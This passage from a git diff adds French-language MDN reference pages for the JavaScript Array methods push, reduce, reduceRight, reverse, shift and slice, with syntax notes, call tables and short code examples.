La méthode push() ajoute un ou plusieurs éléments à la fin d'un tableau et retourne la nouvelle taille du tableau.

+ +
{{EmbedInteractiveExample("pages/js/array-push.html")}}
+ + + +

Syntaxe

+ +
arr.push(élément1, ..., élémentN)
+ +

Paramètres

+ +
+
élément1, ...,élémentN
+
Les éléments à ajouter à la fin du tableau.
+
+ +

Valeur de retour

+ +

La nouvelle valeur de la propriété {{jsxref("Array.length", "length")}} de l'objet sur lequel la méthode a été appelée.

+ +

Description

+ +

La méthode push permet d'ajouter des valeurs à un tableau.

+ +

push est une méthode générique. Cette méthode peut ainsi être utilisée avec les méthodes {{jsxref("Function.call()")}} ou {{jsxref("Function.apply()")}} sur des objets similaires aux tableaux.

+ +

La méthode push se base sur la propriété length pour déterminer à partir de quel index les valeurs données doivent être insérées. Si la propriété length ne peut pas être convertie en nombre, l'index utilisé est 0. Si la propriété length n'est pas définie, elle est alors créée.

+ +

Bien que push soit une méthode générique, elle ne peut pas être utilisée sur les chaînes de caractères ou sur l'objet arguments car ils sont immuables.

+ +

Exemples

+ +

Ajouter des éléments à un tableau

+ +

Le code suivant crée un tableau sports contenant à sa création deux éléments, auxquels sont ajoutés deux nouveaux éléments. La variable total contient la nouvelle taille du tableau.

+ +
var sports = ["plongée", "baseball"];
+var total = sports.push("football", "tennis");
+
+console.log(sports); // ["plongée", "baseball", "football", "tennis"]
+console.log(total);  // 4
+
+ +

Fusionner deux tableaux

+ +

Dans l'exemple qui suit, on utilise la méthode {{jsxref("Function.apply()")}} pour ajouter les différents éléments d'un second tableau

+ +
var legumes = ['navet', 'pomme de terre'];
+var autresLegumes = ['céleri', 'radis'];
+
+// On fusionne les deux tableaux
+// Équivalent à legumes.push('céleri', 'radis');
+Array.prototype.push.apply(legumes, autresLegumes);
+
+console.log(legumes); // ['navet', 'pomme de terre', 'céleri', 'radis']
+ +
+

Note : Attention à ne pas utiliser cette méthode lorsque les tableaux sont très grands car une fonction n'accepte qu'un nombre limité d'arguments. Voir {{jsxref("Function.apply","apply()")}} pour plus d'informations sur ces limites.

+
+ +

Utiliser un objet comme on utiliserait un tableau

+ +

Comme nous l'avons vu auparavant, push est une méthode générique et nous pouvons donc utiliser Array.prototype.push sur les objets. On notera qu'il n'est pas nécessaire de stocker un ensemble d'objets. En fait, on enregistre l'ensemble dans l'objet et on utilise call sur Array.prototype.push :

+ +
var obj = {
+    length: 0,
+
+    ajoutElem: function ajoutElem (elem) {
+        // obj.length est automatiquement incrémenté
+        // quand on ajoute un élément
+        [].push.call(this, elem);
+    }
+};
+
+// Ajoutons quelques objets vides pour illustrer
+// l'exemple.
+obj.ajoutElem({});
+obj.ajoutElem({});
+console.log(obj.length);
+// → 2
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale. Implémentée avec JavaScript 1.2.
{{SpecName('ES5.1', '#sec-15.4.4.7', 'Array.prototype.push')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-array.prototype.push', 'Array.prototype.push')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-array.prototype.push', 'Array.prototype.push')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.Array.push")}}

+
+ +

Voir aussi

+ +
    +
  • {{jsxref("Array.prototype.pop()")}}
    • +
  • {{jsxref("Array.prototype.shift()")}}
    • +
  • {{jsxref("Array.prototype.unshift()")}}
    • +
  • {{jsxref("Array.prototype.concat()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/array/reduce/index.html b/files/fr/web/javascript/reference/global_objects/array/reduce/index.html new file mode 100644 index 0000000000..17b90678b9 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/array/reduce/index.html @@ -0,0 +1,407 @@ +--- +title: Array.prototype.reduce() +slug: Web/JavaScript/Reference/Objets_globaux/Array/reduce +tags: + - Array + - ECMAScript 5 + - JavaScript + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Array/Reduce +--- +
{{JSRef}}
+ +

La méthode reduce() applique une fonction qui est un « accumulateur » et qui traite chaque valeur d'une liste (de la gauche vers la droite) afin de la réduire à une seule valeur.

+ +
{{EmbedInteractiveExample("pages/js/array-reduce.html")}}
+ + + +

Syntaxe

+ +
arr.reduce(callback)
+arr.reduce(callback, valeurInitiale)
+ +

Paramètres

+ +
+
callback
+
La fonction à exécuter sur chaque valeur de la liste (sauf le premier si aucune valeurInitiale n'est fournie), elle prend quatre arguments en entrée : +
+
accumulateur
+
La valeur précédemment retournée par le dernier appel du callback, ou valeurInitiale, si elle est fournie (voir ci-après) (c'est la valeur « accumulée » au fur et à mesure des appels
+
valeurCourante
+
La valeur de l'élément courant actuellement manipulé dans le tableau.
+
index{{optional_inline}}
+
L'index de l'élément courant actuellement manipulé dans le tableau.
+
array{{optional_inline}}
+
Le tableau sur lequel on a appelé la méthode reduce().
+
+
+
valeurInitiale{{optional_inline}}
+
Une valeur utilisée comme premier argument lors du premier appel de la fonction callback. Si aucune valeur initiale n'est fournie, le premier élément du tableau est utilisé (et la boucle de traitement ne le parcourera pas). Si on appelle reduce() sur un tableau vide sans fournir de valeur initiale, on aura une erreur.
+
+ +

Valeur de retour

+ +

La valeur obtenue grâce à la fonction de réduction.

+ +

Description

+ +

reduce() exécute la fonction callback une fois pour chaque élément présent dans le tableau et ignore les éléments vides du tableau. La fonction callback utilise quatre arguments :

+ +
    +
  1. L'accumulateur (la valeur retournée par le précédent appel de la fonction callback), ou la valeur initiale s'il sagit du premier appel ;
    2. +
  2. la valeur de l'élément courant ;
    3. +
  3. l'index de l'élément courant ;
    4. +
  4. le tableau parcouru par la méthode.
    5. +
+ +

La première fois que la fonction callback est appelée, valeurInitiale et valeurCourante peuvent correspondre à un ou deux éléments. Si valeurInitiale est fournie dans l'appel de reduce(), alors accumulateur sera égale à valeurInitiale et valeurCourante sera égale à la première valeur de la liste. Si valeurInitiale n'est pas fournie, alors accumulateur sera égale à la première valeur de la liste, et valeurCourante sera alors égale à la seconde.

+ +

Autrement dit, si valeurInitiale n'est pas fournie, reduce exécutera la fonction de rappel à partir de l'indice 1 et la première valeur du tableau (d'indice 0) sera utilisée pour valeurInitiale.

+ +

En considérant le code suivant :

+ +
[0, 1, 2, 3, 4].reduce(function(accumulateur, valeurCourante, index, array){
+  return accumulateur + valeurCourante;
+});
+
+ +

La fonction callback sera appelée quatre fois, avec les arguments et les valeurs de retour de chaque appel suivant :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
accumulateurvaleurCouranteindexarrayvaleur retournée
premier appel011[0,1,2,3,4]1
deuxième appel122[0,1,2,3,4]3
troisième appel333[0,1,2,3,4]6
quatrième appel644[0,1,2,3,4]10
+ +

La valeur retournée par reduce() sera alors celle du dernier appel de la callback (ici 10).

+ +

Il est aussi possible d'utiliser une {{jsxref("Fonctions/Fonctions_fléchées","fonction fléchée","",1)}} au lieu d'une fonction classique. Le code suivant, par exemple, produit le même résultat que l'exemple précédent :

+ +
[0, 1, 2, 3, 4].reduce(
+  (accumulateur, valeurCourante) => accumulateur + valeurCourante;
+);
+ +

Si on fournit une valeur initiale comme second argument à l'appel de reduce(), le résultat sera alors le suivant :

+ +
[0, 1, 2, 3, 4].reduce(function(accumulateur, valeurCourante, index, array){
+  return accumulateur + valeurCourante;
+}, 10);
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
accumulateurvaleurCouranteindexarrayvaleur retournée
premier appel1000[0,1,2,3,4]10
deuxième appel1011[0,1,2,3,4]11
troisième appel1122[0,1,2,3,4]13
quatrième appel1333[0,1,2,3,4]16
cinquième appel1644[0,1,2,3,4]20
+ +

Ici, la valeur renvoyée par reduce() serait 20.

+ +

Exemples

+ +

Additionner toutes les valeurs d'un tableau

+ +
var total = [0, 1, 2, 3].reduce((a, b)=> a + b,0);
+// total == 6
+
+ +

Additionner les valeurs d'une propriétés pour un tableau d'objets

+ +

Pour additionner les valeurs d'une propriété donnée des objets d'un tableau, il sera nécessaire de fournir une valeur initiale afin que tous les éléments soient parcourus :

+ +
var valeurInitiale = 0;
+var somme = [{x: 1}, {x:2}, {x:3}].reduce(function (accumulateur, valeurCourante) {
+    return accumulateur + valeurCourante.x;
+}, valeurInitiale);
+
+console.log(somme); // affiche 6 dans la console
+
+ +

On peut également écrire une version plus concise avec les fonctions fléchées :

+ +
var valeurInitiale = 0;
+var somme = [{x: 1}, {x:2}, {x:3}].reduce(
+    (accumulateur, valeurCourante) => accumulateur + valeurCourante.x
+    , valeurInitiale
+);
+
+console.log(somme); // affiche 6 dans la console
+ +

Aplatir une liste de listes

+ +
var applati = [[0, 1], [2, 3], [4, 5]].reduce(function(a, b) {
+    return a.concat(b);
+});
+// applati vaut [0, 1, 2, 3, 4, 5]
+
+ +

Utiliser le paramètre valeurInitiale

+ +
var amis = [
+  { "nom": "Quentin", "livres": ["City Hall", "Harry Potter"]},
+  { "nom": "Alice", "livres": ["L'Avare", "Les Fleurs du Mal"]}
+]
+
+var tousLivres = amis.reduce(function(prev, curr) {
+  return [...prev, ...curr.livres];
+}, ["Perceval"]);
+
+// tousLivres = ["Perceval", "City Hall", "Harry Potter",
+//               "L'Avare", "Les Fleurs du Mal"]
+ +

Exécuter une suite de promesses stockées dans un tableau

+ +
/**
+ * Exécuter un enchaînement de promesses à partir d'un tableau
+ *
+ * @param {array} arr - un tableau de promesses
+ * @return {Object} un objet Promise
+ */
+function runPromiseInSequense(arr) {
+  return arr.reduce((promiseChain, currentPromise) => {
+    return promiseChain.then((chainedResult) => {
+      return currentPromise(chainedResult)
+        .then((res) => res)
+    })
+  }, Promise.resolve());
+}
+
+// promise function 1
+function p1() {
+  return new Promise((resolve, reject) => {
+    resolve(5);
+  });
+}
+
+// promise function 2
+function p2(a) {
+  return new Promise((resolve, reject) => {
+    resolve(a * 2);
+  });
+}
+
+// promise function 3
+function p3(a) {
+  return new Promise((resolve, reject) => {
+    resolve(a * 3);
+  });
+}
+
+const promiseArr = [p1, p2, p3];
+runPromiseInSequense(promiseArr)
+  .then((res) => {
+    console.log(res);   // 30
+  });
+
+ +

Regrouper des objets selon une propriété

+ +
var personnes = [
+  { nom: "Alice", age: 21 },
+  { nom: "Bob", age: 20 },
+  { nom: "Charlie", age: 20 }
+];
+
+function groupBy(tableauObjets, propriete){
+  return tableauObjets.reduce(function (acc, obj) {
+    var cle = obj[propriete];
+    if(!acc[cle]){
+      acc[cle] = [];
+    }
+    acc[cle].push(obj);
+    return acc;
+  }, {});
+}
+
+var personnesParAge = groupBy(personnes, "age");
+// personnesParAge aura la valeur :
+// {
+//    20: [
+//       { nom: "Bob", age: 20 },
+//       { nom: "Charlie", age: 20 }
+//    ],
+//    21: [{ nom: "Alice", age: 21 }]
+// }
+
+ +

Composition de fonctions

+ +
// Les briques de base que nous allons composer
+const double = x => x + x;
+const triple = x => 3 * x;
+const quadruple = x => 4 * x;
+
+// Une fonction qui permet d'appliquer une composition
+const pipe = (...functions) => input => functions.reduce(
+    (acc, fn) => fn(acc),
+    input
+);
+
+// On crée des fonctions pour multiplier par un facteur donné
+const multiply6 = pipe(double, triple);
+const multiply9 = pipe(triple, triple);
+const multiply16 = pipe(quadruple, quadruple);
+const multiply24 = pipe(double, triple, quadruple);
+
+// Utilisation
+multiply6(6); // 36
+multiply9(9); // 81
+multiply16(16); // 256
+multiply24(10); // 240
+
+ +

Retirer les doublons d'un tableau

+ +

Avec ECMAScript 2015 (ES6)

+ +
let tableauAvecDoublons = [1, 2, 3, 1, 4, 5, 4, 6];
+let tableauSansDoublon = Array.from(new Set(tableauAvecDoublons));
+console.table(tableauSansDoublon); // [1, 2, 3, 4, 5, 6]
+ +

Avec reduce()

+ +
var tableauAvecDoublons = [1, 2, 3, 1, 4, 5, 4, 6];
+var tableauSansDoublon = tableauAvecDoublon.reduce(function (acc, valCourante) {
+  if(acc.indexOf(valCourante) === -1) {
+    acc.push(valCourante);
+  }
+  return acc
+}, []);
+
+console.log(tableauSansDoublon); // [1, 2, 3, 4, 5, 6]
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES5.1', '#sec-15.4.4.21', 'Array.prototype.reduce()')}}{{Spec2('ES5.1')}}Définition initiale.
+ Implémenté dans JavaScript 1.8
{{SpecName('ES6', '#sec-array.prototype.reduce', 'Array.prototype.reduce()')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-array.prototype.reduce', 'Array.prototype.reduce()')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.Array.reduce")}}

+
+ +

Voir aussi

+ +
    +
  • {{jsxref("Array.prototype.reduceRight()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/array/reduceright/index.html b/files/fr/web/javascript/reference/global_objects/array/reduceright/index.html new file mode 100644 index 0000000000..f29060283b --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/array/reduceright/index.html @@ -0,0 +1,282 @@ +--- +title: Array.prototype.reduceRight() +slug: Web/JavaScript/Reference/Objets_globaux/Array/reduceRight +tags: + - Array + - ECMAScript 5 + - JavaScript + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Array/ReduceRight +--- +
{{JSRef}}
+ +

La méthode reduceRight() applique une fonction sur un accumulateur et chaque valeur d'un tableau (de la droite vers la gauche) de sorte à réduire le tableau en une seule valeur.

+ +
{{EmbedInteractiveExample("pages/js/array-reduce-right.html")}}
+ + + +

Voir également {{jsxref("Array.prototype.reduce()")}} pour une méthode qui réduit de gauche à droite.

+ +

Syntaxe

+ +
arr.reduceRight(callback[, valeurInitiale])
+ +

Paramètres

+ +
+
callback
+
La fonction à éxécuter sur chaque valeur de la liste. Elle utilise quatres arguments : +
+
accumulator
+
La valeur précédemment retournée par le dernier appel de la fonction callback, ou valeurInitial si elle est fournie. (Voir ci-après.)
+
valeurCourante
+
La valeur de l'élément courant dans le tableau.
+
index
+
L'index de l'élément du tableau actuellement manipulé.
+
array
+
Le tableau sur lequel reduceRight() est appelée.
+
+
+
valeurInitiale {{optional_inline}}
+
C'est l'objet à utiliser comme accumulateur/premier argument lors du premier appel de la fonction callback. Si aucune valeur n'est fournie, c'est le dernier élément du tableau qui sera utilisé. Si on appelle reduce() ou reduceRight() sur un tableau vide sans fournir de valeur initiale, on aura une exception {{jsxref("TypeError")}}.
+
+ +

Valeur de retour

+ +

La valeur obtenue grâce à la fonction de réduction.

+ +

Description

+ +

reduceRight exécute la fonction callback une fois pour chaque élément présent dans le tableau, les éléments vides sont ignorés. La fonction callback utilise quatre arguments : la valeur initiale (ou la valeur retournée par le précédent appel de la fonction callback), la valeur de l'élément courant, l'index de l'élément courant, et le tableau qui est parcouru.

+ +

L'usage de reduceRight avec définition d'un callback devrait ressembler à ceci :

+ +
array.reduceRight(function(accumulator, valeurCourante, index, array) {
+    // ...
+});
+ +

La première fois que la fonction de callback est appelée, accumulator et valeurCourante peuvent correspondre à un ou deux éléments. Si valeurInitiale est fournie lors de l'appel à reduceRight, alors accumulator sera égale à valeurInitiale et valeurCourante sera égale à la dernière valeur de la liste. Si valeurInitiale n'est pas fournie, alors accumulator sera égale à la dernière valeur de la liste, et valeurCourante sera alors égale à l'avant-dernière valeur du tableau.

+ +

Si on utilise la méthode reduceRight de la façon suivante :

+ +
[0, 1, 2, 3, 4].reduceRight(function(accumulator, valeurCourante, index, array) {
+    return accumulator + valeurCourante;
+});
+
+ +

La fonction callback sera appelée quatre fois, avec les arguments et les valeurs de retour de chaque appel suivant :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
callbackaccumulatorvaleurCouranteindexarrayValeur renvoyée
premier appel433[0,1,2,3,4]7
second appel722[0,1,2,3,4]9
troisième appel911[0,1,2,3,4]10
quatrième appel1000[0,1,2,3,4]10
+ +

La valeur retournée par reduceRight sera alors celle du dernier appel de la fonction callback (10).

+ +

Si vous fournissez une valeur initiale comme second argument à l'appel de reduceRight, le résultat sera alors le suivant :

+ +
[0, 1, 2, 3, 4].reduceRight(function(accumulator, valeurCourante, index, array) {
+    return accumulator + valeurCourante;
+}, 10);
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
accumulatorvaleurCouranteindexarrayValeur renvoyée
premier appel1044[0,1,2,3,4]14
second appel1433[0,1,2,3,4]17
troisième appel1722[0,1,2,3,4]19
quatrième appel1911[0,1,2,3,4]20
cinquième appel2000[0,1,2,3,4]20
+ +

La valeur renvoyée par reduceRight sera ici 20.

+ +

Exemples

+ +

Additionner toutes les valeurs d'une liste

+ +
var total = [0, 1, 2, 3].reduceRight(function(a, b) {
+    return a + b;
+});
+// total == 6
+
+ +

Aplatir une liste de listes

+ +
var aplati = [[0, 1], [2, 3], [4, 5]].reduceRight(function(a, b) {
+    return a.concat(b);
+}, []);
+// aplati [4, 5, 2, 3, 0, 1]
+
+ +

Différence entre reduce et reduceRight

+ +
var a = ['1', '2', '3', '4','5']
+var gauche = a.reduce(function(prev, cur) {
+  return prev + cur;
+});
+
+var droite = a.reduceRight(function(prev, cur) {
+  return prev + cur;
+});
+
+console.log(gauche); // "12345"
+console.log(droite); // "54321"
+ +

Composition de fonctions à l'aide de reduce

+ +

La composition de fonctions consiste en l'enchaînement de n fonctions l'une après l'autre (où les appels sont généralement exécutés de droite à gauche.

+ +
/**
+ *
+ * h(x) = f(g(x))
+ *
+ * https://fr.wikipedia.org/wiki/Composition_de_fonctions
+ */
+
+const compose = (...args) => (value) => args.reduceRight((acc, fn) => fn(acc), value)
+
+// On incrémente un nombre passé en argument
+const inc = (n) => n + 1
+
+// On double la valeur passée en argument
+const double = (n) => n * 2
+
+// On compose double(inc(x))
+compose(double, inc)(2) // 6
+
+// On compose inc(double(x))
+compose(inc, double)(2) // 5
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES5.1', '#sec-15.4.4.22', 'Array.prototype.reduceRight')}}{{Spec2('ES5.1')}}Définition initiale. Implémentée avec JavaScript 1.8.
{{SpecName('ES6', '#sec-array.prototype.reduceright', 'Array.prototype.reduceRight')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-array.prototype.reduceright', 'Array.prototype.reduceRight')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.Array.reduceRight")}}

+
+ +

Voir aussi

+ +
    +
  • {{jsxref("Array.prototype.reduce()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/array/reverse/index.html b/files/fr/web/javascript/reference/global_objects/array/reverse/index.html new file mode 100644 index 0000000000..515b437842 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/array/reverse/index.html @@ -0,0 +1,105 @@ +--- +title: Array.prototype.reverse() +slug: Web/JavaScript/Reference/Objets_globaux/Array/reverse +tags: + - Array + - JavaScript + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Array/reverse +--- +
{{JSRef}}
+ +

La méthode reverse() transpose les éléments d'un tableau : le premier élément devient le dernier et le dernier devient le premier et ainsi de suite.

+ +
{{EmbedInteractiveExample("pages/js/array-reverse.html")}}
+ + + +

Syntaxe

+ +
arr.reverse()
+ +

Valeur de retour

+ +

Le tableau inversé.

+ +

Description

+ +

La méthode reverse() permet d'inverser l'ordre des éléments du tableau. La méthode modifie le tableau courant et renvoie une référence à ce tableau.

+ +

Cette méthode est intentionnellement générique et peut être appelée (via {{jsxref("Function.call()")}}) ou appliquée (via {{jsxref("Function.apply()")}}) sur des objets semblables à des tableaux. Les objets qui ne contiennent pas de propriété length qui soit cohérente avec leurs propriétés indexées sur des nombres ne seront pas traités par reverse().

+ +

Exemples

+ +

Inverser l'ordre des éléments d'un tableau

+ +

L'exemple qui suit crée un tableau monArray, qui contient trois éléments, puis inverse celui-ci.

+ +
var monArray = ["un", "deux", "trois"];
+monArray.reverse();
+
+console.log(monArray) // ["trois", "deux", "un"]
+
+ +

Inverser l'ordre des éléments d'un objet semblable à un tableau

+ +

Dans l'exemple suivant, on crée un objet semblable à un tableau a qui contient trois éléments et une propriété length. On appelle ensuite reverse() grâce à call() sur cet objet pour inverser ses éléments :

+ +
const a = {0: 1, 1: 2, 2: 3, length: 3};
+
+console.log(a); // {0: 1, 1: 2, 2: 3, length: 3}
+
+Array.prototype.reverse.call(a); // On aurait pu utiliser apply() également
+
+console.log(a); // {0: 3, 1: 2, 2 : 1, length: 3}
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.1.
{{SpecName('ES5.1', '#sec-15.4.4.8', 'Array.prototype.reverse')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-array.prototype.reverse', 'Array.prototype.reverse')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-array.prototype.reverse', 'Array.prototype.reverse')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.Array.reverse")}}

+
+ +

Voir aussi

+ +
    +
  • {{jsxref("Array.prototype.join()")}}
    • +
  • {{jsxref("Array.prototype.sort()")}}
    • +
  • {{jsxref("TypedArray.prototype.reverse()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/array/shift/index.html b/files/fr/web/javascript/reference/global_objects/array/shift/index.html new file mode 100644 index 0000000000..9711ca9d25 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/array/shift/index.html @@ -0,0 +1,118 @@ +--- +title: Array.prototype.shift() +slug: Web/JavaScript/Reference/Objets_globaux/Array/shift +tags: + - Array + - JavaScript + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Array/shift +--- +
{{JSRef}}
+ +

La méthode shift() permet de retirer le premier élément d'un tableau et de renvoyer cet élément. Cette méthode modifie la longueur du tableau.

+ +
{{EmbedInteractiveExample("pages/js/array-shift.html")}}
+ + + +

Syntaxe

+ +
arr.shift()
+ +

Valeur de retour

+ +

L'élément retiré du tableau ou {{jsxref("undefined")}} si le tableau est vide.

+ +

Description

+ +

La méthode shift retire l'élément situé à l'index zéro et décrémente l'index des éléments suivant avant de retourner l'élément supprimé. Si la propriété {{jsxref("Array.length", "length")}} vaut 0, {{jsxref("undefined")}} est retourné.

+ +

Cette méthode est générique et peut être {{jsxref("Function.call", "appelée","",1)}} ou {{jsxref("Function.apply", "appliquée","",1)}} sur des objets similaires à des tableaux. 

+ +

Cette méthode n'est pas exploitable pour les objets dont la propriété length ne reflète pas la taille du contenu, ou pour lesquels la propriété length n'est pas définie.

+ +
+

Note : La méthode {{jsxref("Array.prototype.pop()")}} possède un comportement similaire mais retire le dernier élément du tableau (et non le premier).

+
+ +

Exemples

+ +

Supprimer un élément d'un tableau

+ +

Le code suivant affiche le tableau mesPoissons avant et après avoir enlevé le premier élément. Il affiche aussi l'élément supprimé :

+ +
var mesPoissons = ["ange", "clown", "mandarin", "chirurgien"];
+
+console.log("mesPoissons avant : " + JSON.stringify(mesPoissons));
+// mesPoissons avant : ["ange","clown","mandarin","chirurgien"]
+
+var premierÉlément = mesPoissons.shift();
+
+console.log("mesPoissons après :", mesPoissons);
+// mesPoissons après : ["clown", "mandarin", "chirurgien"]
+
+console.log("Cet élément a été enlevé :", premierÉlément);
+// "Cet élément a été enlevé : ange"
+
+ +

Utiliser shift() dans une boucle while

+ +

La méthode shift() peut être utilisée dans une boucle while. Dans l'exemple suivant, chaque itération de la boucle retire un élément du tableau et l'affiche dans la console, jusqu'à ce que ce dernier soit vide.

+ +
var noms = ["André", "Édouard", "Paul", "Christophe", "Jean"];
+while ( (i = noms.shift()) !== undefined ) {
+  console.log(i);
+}
+// André, Édouard, Paul, Christophe, Jean
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale. Implémentée avec JavaScript 1.2.
{{SpecName('ES5.1', '#sec-15.4.4.9', 'Array.prototype.shift')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-array.prototype.shift', 'Array.prototype.shift')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-array.prototype.shift', 'Array.prototype.shift')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.Array.shift")}}

+
+ +

Voir aussi

+ +
    +
  • {{jsxref("Array.prototype.push()")}}
    • +
  • {{jsxref("Array.prototype.pop()")}}
    • +
  • {{jsxref("Array.prototype.unshift()")}}
    • +
  • {{jsxref("Array.prototype.concat()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/array/slice/index.html b/files/fr/web/javascript/reference/global_objects/array/slice/index.html new file mode 100644 index 0000000000..98dac60521 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/array/slice/index.html @@ -0,0 +1,178 @@ +--- +title: Array.prototype.slice() +slug: Web/JavaScript/Reference/Objets_globaux/Array/slice +tags: + - Array + - JavaScript + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Array/slice +--- +
{{JSRef}}
+ +

La méthode slice() renvoie un objet tableau, contenant une copie superficielle (shallow copy) d'une portion du tableau d'origine, la portion est définie par un indice de début et un indice de fin (exclus). Le tableau original ne sera pas modifié.

+ +
{{EmbedInteractiveExample("pages/js/array-slice.html")}}
+ + + +

Syntaxe

+ +
arr.slice()
+arr.slice(début)
+arr.slice(début, fin)
+
+ +

Paramètres

+ +
+
début {{optional_inline}}
+
Indice (à partir de zéro) depuis lequel commencer l'extraction.
+
S'il s'agit d'un indice négatif, début indique un décalage depuis la fin de la séquence. Par exemple, slice(-2) extrait les avant-dernier et dernier éléments dans la séquence.
+
+ Si début est absent, slice() commencera depuis 0. Si début est supérieur à la taille du tableau, c'est un tableau vide qui sera renvoyé.
+
+ +
+
fin {{optional_inline}}
+
Indice (à partir de zéro) auquel arrêter l'extraction. slice() extrait jusqu'à cet indice, mais pas l'élément situé en fin lui-même.
+
slice(1,4) extrait du deuxième au quatrième élément (les éléments d'indices 1, 2 et 3).
+
S'il s'agit d'un indice négatif, fin indique un décalage depuis la fin de la séquence. slice(2,-1) extrait du troisième à l'avant-dernier élément dans la séquence.
+
Si fin n'est pas fourni, slice() extraira jusqu'à la fin de la séquence (arr.length). Si fin est supérieur à la longueur de la séquence, slice() fera une extraction jusqu'à la fin de la séquence.
+
+ +

Valeur de retour

+ +

Un nouveau tableau contenant les éléments extraits.

+ +

Description

+ +

slice() ne modifie pas le tableau original, mais renvoie une nouvelle copie du tableau (shallow copy — copie superficielle) dont les éléments sont des copies des éléments extraits du tableau original. Les éléments du tableau original sont copiés dans le nouveau tableau de la manière suivante :

+ +
    +
  • Pour les références à des objets (et non les objets eux-mêmes), slice() copie ces références dans le nouveau tableau. Tant l'original que le nouveau tableau font référence au même objet. Si un objet référencé est modifié, ces changements sont visibles tant pour le nouveau que pour l'ancien tableau.
    • +
  • Pour les chaines de caractères, les nombres et les booléens, slice() copie ces chaines de caractères, ces nombres et ces valeurs booléennes dans le nouveau tableau. Les modifications sur ces chaînes, nombres ou booléens dans l'un des tableaux n'affectent pas l'autre tableau (NB : lorsque l'on parle de chaine de caractères, de nombre ou de booléen ici, on parle exclusivement de leur type primitif, pas des objets {{jsxref("String")}}, {{jsxref("Number")}} ou {{jsxref("Boolean")}} — voir par exemple différences entre objet String et type primitif pour les chaines de caractères).
    • +
+ +

Si un nouvel élément est ajouté à l'un ou l'autre tableau, le second n'est pas affecté.

+ +

Exemples

+ +

Renvoyer un fragment d'un tableau existant

+ +
var fruits = ["Banane", "Orange", "Citron", "Pomme", "Mangue"];
+var agrumes = fruits.slice(1, 3);
+
+// fruits vaut --> ["Banane", "Orange", "Citron", "Pomme", "Mangue"]
+// agrumes vaut --> ["Orange", "Citron"]
+ +

Utiliser slice()

+ +

Dans l'exemple qui suit, slice() crée un nouveau tableau, nouvelleVoiture, à partir de maVoiture. Chacun d'entre eux contient une référence à l'objet maHonda. Lorsque la couleur de maHonda est changée en bordeaux, les deux tableaux reflètent ce changement.

+ +
// Avec slice, crée nouvelleVoiture depuis maVoiture
+var maHonda = { couleur : "rouge", roues : 4, moteur : { cylindres : 4, capacité : 2.2 } };
+var maVoiture = [maHonda, 2, "excellente condition", "achetée en 1997"];
+var nouvelleVoiture = maVoiture.slice(0, 2);
+
+// Affiche les valeurs de maVoiture, nouvelleVoiture et la couleur de maHonda
+// référencées depuis chacun des tableaux.
+console.log("maVoiture = " + JSON.stringify(maVoiture));
+console.log("nouvelleVoiture = " + JSON.stringify(nouvelleVoiture));
+console.log("maVoiture[0].couleur = " + maVoiture[0].couleur);
+console.log("nouvelleVoiture[0].couleur = " + nouvelleVoiture[0].couleur);
+
+// Change la couleur de maHonda.
+maHonda.couleur = "bordeaux";
+console.log("La nouvelle couleur de ma Honda est " + maHonda.couleur);
+
+// Affiche la couleur de maHonda référencées depuis les deux tableaux.
+console.log("maVoiture[0].couleur = " + maVoiture[0].couleur);
+console.log("nouvelleVoiture[0].couleur = " + nouvelleVoiture[0].couleur);
+
+ +

Ce script affichera :

+ +
